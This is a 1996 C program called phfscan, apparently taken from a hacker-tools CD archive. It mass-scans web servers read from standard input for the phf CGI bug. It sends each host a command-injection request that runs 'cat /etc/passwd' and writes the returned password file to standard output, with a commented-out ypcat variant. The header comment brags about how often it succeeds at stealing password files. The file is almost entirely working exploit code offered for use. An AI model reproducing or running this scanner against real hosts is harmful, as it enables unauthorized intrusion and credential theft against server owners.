home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / phf.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  3KB  |  99 lines

  1. /*   
  2.      phfscan.c
  3.      June, 1996
  4.      By Alhambra
  5.      alhambra@infonexus.com
  6.  
  7.      A production of The Guild Corporation, 1996
  8.  
  9.     A quick hack to make scanning for hosts which still have the phf bug.
  10.      Accepts hosts to scan from stdin, and writes whatever it gets back to
  11.      stdout.  Plenty of room for optimization, and features that could be 
  12.      added include forking off multiple copies for concurrent scans, etc, etc.
  13.      Do it yourself...that's how you learn.
  14.  
  15.      The effectiveness of this program for getting password files isn't
  16.      what it once was...we see only around a 30% success ratio at getting
  17.      /etc/passwd from hosts that would have been vulnerable once upon a time.
  18.      But that's still something...
  19.    
  20.       Use:
  21.     phfscan < infile > outfile
  22.  
  23. */
  24. #include <sys/stat.h>
  25. #include <sys/types.h>
  26. #include <termios.h>
  27. #include <unistd.h>
  28. #include <stdio.h>
  29. #include <fcntl.h>
  30. #include <sys/syslog.h>
  31. #include <sys/param.h>
  32. #include <sys/times.h>
  33. #ifdef LINUX
  34. #include <sys/time.h>
  35. #endif
  36. #include <unistd.h>
  37. #include <sys/socket.h>
  38. #include <netinet/in.h>
  39. #include <sys/signal.h>
  40. #include <arpa/inet.h>
  41. #include <netdb.h>
  42. int FLAG = 1;
  43. int Call(int signo)
  44. {
  45.  FLAG = 0;
  46. }
  47.  
  48. main (int argc, char *argv[])
  49. {
  50.   char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  51.   int outsocket, serv_len, len,X,c,outfd;
  52.   struct hostent *nametocheck;
  53.   struct sockaddr_in serv_addr;
  54.   struct in_addr outgoing;
  55.  
  56.   char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
  57.   /* yp version...use as needed...*/
  58. /* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/
  59.  
  60.   while(fgets(hosta,100,stdin))
  61.     {
  62.       if(hosta[0] == '\0')
  63.     break;
  64.       hosta[strlen(hosta) -1] = '\0';
  65.       write(1,hosta,strlen(hosta)*sizeof(char));
  66.     write(1,"\n",sizeof(char));
  67.       outsocket = socket (AF_INET, SOCK_STREAM, 0);
  68.       memset (&serv_addr, 0, sizeof (serv_addr));
  69.       serv_addr.sin_family = AF_INET;
  70.      
  71.       nametocheck = gethostbyname (hosta);
  72.  
  73.       /* Ugly stuff to get host name into inet_ntoa form */
  74.       (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
  75.                sizeof (outgoing.s_addr));
  76.       strcpy (host, inet_ntoa (outgoing));
  77.       serv_addr.sin_addr.s_addr = inet_addr (host);
  78.       serv_addr.sin_port = htons (80);
  79.       signal(SIGALRM,Call);
  80.       FLAG = 1;
  81.  
  82.       alarm(10);    
  83.  
  84.       X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
  85.       alarm(0);
  86.  
  87.       if(FLAG == 1 && X==0){
  88.        write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
  89.        while((X=read(outsocket,FileBuf,8096))!=0)
  90.       write(1,FileBuf,X);
  91.     }
  92.       close (outsocket);   
  93.     }
  94.   return 0;
  95. }
  96.  
  97.  
  98.  
  99.